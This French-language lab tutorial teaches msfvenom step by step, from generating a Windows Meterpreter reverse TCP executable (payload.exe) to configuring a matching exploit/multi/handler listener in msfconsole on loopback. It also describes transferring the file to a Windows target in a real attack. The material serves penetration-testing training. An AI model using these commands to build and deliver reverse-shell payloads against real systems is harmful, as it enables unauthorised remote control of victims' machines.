Générer une charge utile autonome avec msfvenom

Kali LinuxBeginner
Pratiquer maintenant

Introduction

Dans ce laboratoire, vous acquerrez une expérience pratique avec msfvenom, une instance en ligne de commande du Metasploit Framework utilisée pour générer des charges utiles (payloads). Il s'agit d'une combinaison de deux anciens outils, msfpayload et msfencode, offrant un outil unique et puissant pour créer du shellcode pour une large gamme de cibles et dans divers formats.

L'objectif principal de ce laboratoire est de vous guider dans le processus de génération d'une charge utile exécutable autonome pour Windows. Vous apprendrez à sélectionner une charge utile, à configurer ses options telles que l'hôte et le port d'écoute, et enfin, à configurer un écouteur dans msfconsole pour intercepter la connexion de la charge utile. Toutes les opérations seront effectuées dans le répertoire ~/project.

Lister les charges utiles disponibles avec msfvenom --list payloads

Dans cette étape, vous commencerez par explorer les capacités de msfvenom. La première chose à apprendre sur tout outil est ce qu'il peut faire. Vous pouvez lister toutes les charges utiles disponibles en utilisant l'option --list payloads. Cela vous donnera une liste complète de tout le shellcode que msfvenom peut générer pour différents systèmes d'exploitation, architectures et applications.

Exécutez la commande suivante dans votre terminal pour voir la liste complète des charges utiles :

msfvenom --list payloads

La sortie sera très longue. Dans un scénario réel, vous filtreriez généralement cette liste pour trouver une charge utile spécifique. Par exemple, si vous ciblez une machine Windows, vous pouvez utiliser grep pour rechercher les charges utiles pertinentes. Essayons de trouver la charge utile windows/meterpreter/reverse_tcp, que nous utiliserons dans les étapes suivantes.

msfvenom --list payloads | grep "windows/meterpreter/reverse_tcp"

Vous devriez voir une sortie similaire à celle-ci, confirmant l'existence de la charge utile :

    windows/meterpreter/reverse_tcp                  Windows Meterpreter (Reflective Injection), Reverse TCP Stager

Cela confirme que msfvenom peut générer cette charge utile spécifique.

Générer un exécutable Windows avec msfvenom -p windows/meterpreter/reverse_tcp

Dans cette étape, vous allez sélectionner une charge utile spécifique à générer. D'après notre recherche à l'étape précédente, nous utiliserons windows/meterpreter/reverse_tcp. C'est une charge utile très courante et puissante. Elle crée une connexion "inverse" de la machine cible vers vous, et "Meterpreter" est un shell avancé et riche en fonctionnalités qui permet des activités post-exploitation étendues.

Pour sélectionner une charge utile dans msfvenom, vous utilisez l'option -p (ou --payload). Essayons de construire la commande avec uniquement la charge utile sélectionnée.

Exécutez la commande suivante dans votre terminal :

msfvenom -p windows/meterpreter/reverse_tcp

Vous remarquerez que cette commande échoue et produit un message d'erreur. C'est attendu.

[-] No options configured yet, getting options from payload...
[-] > LHOST is a required option
Error: LHOST is a required option

La sortie indique clairement que LHOST est une option requise. C'est parce qu'une charge utile TCP inverse doit savoir à quelle adresse IP se connecter en retour. Dans l'étape suivante, nous fournirons ces informations requises.

Définir LHOST et LPORT pour la charge utile

Dans cette étape, vous fournirez les options nécessaires pour que la charge utile fonctionne correctement. Comme l'indiquait le message d'erreur de l'étape précédente, nous devons définir LHOST.

  • LHOST : Cela signifie "Listening Host" (Hôte d'écoute). C'est l'adresse IP de la machine sur laquelle vous écouterez la connexion entrante de la charge utile. Pour ce laboratoire, nous exécuterons l'écoute sur la même machine, nous pouvons donc utiliser l'adresse IP de bouclage, 127.0.0.1.
  • LPORT : Cela signifie "Listening Port" (Port d'écoute). C'est le port sur le LHOST auquel l'écouteur sera lié. Vous pouvez choisir n'importe quel port non privilégié qui n'est pas utilisé. Un choix courant pour cela est 4444.

Vous pouvez définir ces options directement sur la ligne de commande. Ajoutons LHOST et LPORT à notre commande précédente :

msfvenom -p windows/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444

Après avoir exécuté cette commande, vous verrez un grand bloc de caractères imprimé directement dans votre terminal. C'est le shellcode brut pour la charge utile.

[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No Arch selected, choosing Arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 354 bytes
<...raw bytes will be printed here...>

Ce n'est pas très utile en tant que fichier autonome. Dans l'étape suivante, vous apprendrez comment formater ce shellcode brut en un fichier exécutable utilisable.

Spécifier le format de sortie et le nom du fichier avec -f exe et -o

Dans cette étape, vous allez finaliser la charge utile en spécifiant son format et en l'enregistrant dans un fichier. L'affichage du shellcode brut dans le terminal n'est pas pratique pour la distribution. Nous devons l'empaqueter dans un format que le système d'exploitation cible peut exécuter.

msfvenom fournit deux options importantes pour cela :

  • -f ou --format : Cette option spécifie le format de sortie. Comme notre cible est Windows, nous utiliserons le format exe pour créer un exécutable Windows standard.
  • -o ou --out : Cette option spécifie le chemin et le nom du fichier de sortie.

Combinons toutes les options que nous avons apprises en une seule commande finale. Cette commande générera un exécutable Windows nommé payload.exe dans votre répertoire actuel (~/project).

msfvenom -p windows/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -f exe -o payload.exe

Une fois la commande terminée, vous verrez une sortie confirmant la création de la charge utile :

[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No Arch selected, choosing Arch: x86 from the payload
Found 1 compatible encoder
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 381 (iteration=0)
x86/shikata_ga_nai chosen with final size 381
Payload size: 381 bytes
Final size of exe file: 73802 bytes
Saved as: payload.exe

Vous pouvez vérifier que le fichier a été créé en utilisant la commande ls -l :

ls -l payload.exe

La sortie devrait afficher le fichier nouvellement créé :

-rwxr-xr-x 1 labex labex 73802 May 20 10:00 payload.exe

Vous avez maintenant généré avec succès un fichier de charge utile autonome.

Créer un écouteur dans msfconsole pour intercepter la connexion

Dans cette étape, vous allez configurer un écouteur pour gérer la connexion de la charge utile que vous venez de créer. Une charge utile est inutile si vous n'avez rien de votre côté pour "attraper" la connexion inverse qu'elle établit. Pour cela, nous utiliserons msfconsole, l'interface principale du Metasploit Framework.

Tout d'abord, démarrez msfconsole. L'utilisation de l'option -q permet de le démarrer silencieusement sans afficher la bannière, ce qui est plus propre.

msfconsole -q

Votre invite passera à msf6 >. Maintenant, vous devez configurer un gestionnaire (handler) pour écouter la connexion entrante. Les paramètres du gestionnaire doivent correspondre exactement aux paramètres que vous avez utilisés pour générer la charge utile.

  1. Utilisez le module exploit/multi/handler. C'est un gestionnaire générique pour les connexions entrantes.

    use exploit/multi/handler
  2. Définissez la charge utile pour qu'elle corresponde à celle que vous avez générée.

    set payload windows/meterpreter/reverse_tcp
  3. Définissez LHOST sur la même adresse IP.

    set LHOST 127.0.0.1
  4. Définissez LPORT sur le même port.

    set LPORT 4444
  5. Enfin, lancez l'écouteur.

    run

msfconsole affichera alors un message indiquant que l'écouteur a démarré.

[*] Started reverse TCP handler on 127.0.0.1:4444

À ce stade, l'écouteur est actif et attend. Dans une attaque réelle, vous transféreriez payload.exe à une cible Windows et l'exécuteriez. Lorsqu'elle serait exécutée, elle se connecterait à cet écouteur, et vous obtiendriez une session Meterpreter. Comme nous n'avons pas de machine Windows cible dans ce laboratoire, nous ne verrons pas de connexion. L'objectif ici est d'apprendre le processus complet de génération d'une charge utile et de configuration de son écouteur correspondant.

Pour quitter l'écouteur, appuyez sur Ctrl + C. Pour quitter msfconsole, tapez exit et appuyez sur Entrée.

exit

Résumé

Dans ce laboratoire, vous avez acquis les bases de la génération de charges utiles autonomes à l'aide de msfvenom. Vous avez pratiqué l'ensemble du flux de travail, de l'exploration des charges utiles disponibles à la création d'un fichier exécutable final et à la configuration d'un écouteur pour gérer sa connexion.

Vous êtes maintenant familiarisé avec les options clés de msfvenom, notamment :

  • --list payloads pour voir les charges utiles disponibles.
  • -p pour sélectionner une charge utile spécifique comme windows/meterpreter/reverse_tcp.
  • LHOST et LPORT pour configurer les détails de connexion de la charge utile.
  • -f pour définir le format de sortie (par exemple, exe).
  • -o pour enregistrer la charge utile dans un fichier.

De plus, vous avez appris à utiliser exploit/multi/handler dans msfconsole pour créer un écouteur qui correspond à la configuration de votre charge utile. Ces connaissances constituent une base essentielle pour de nombreuses tâches de test d'intrusion et de recherche en sécurité.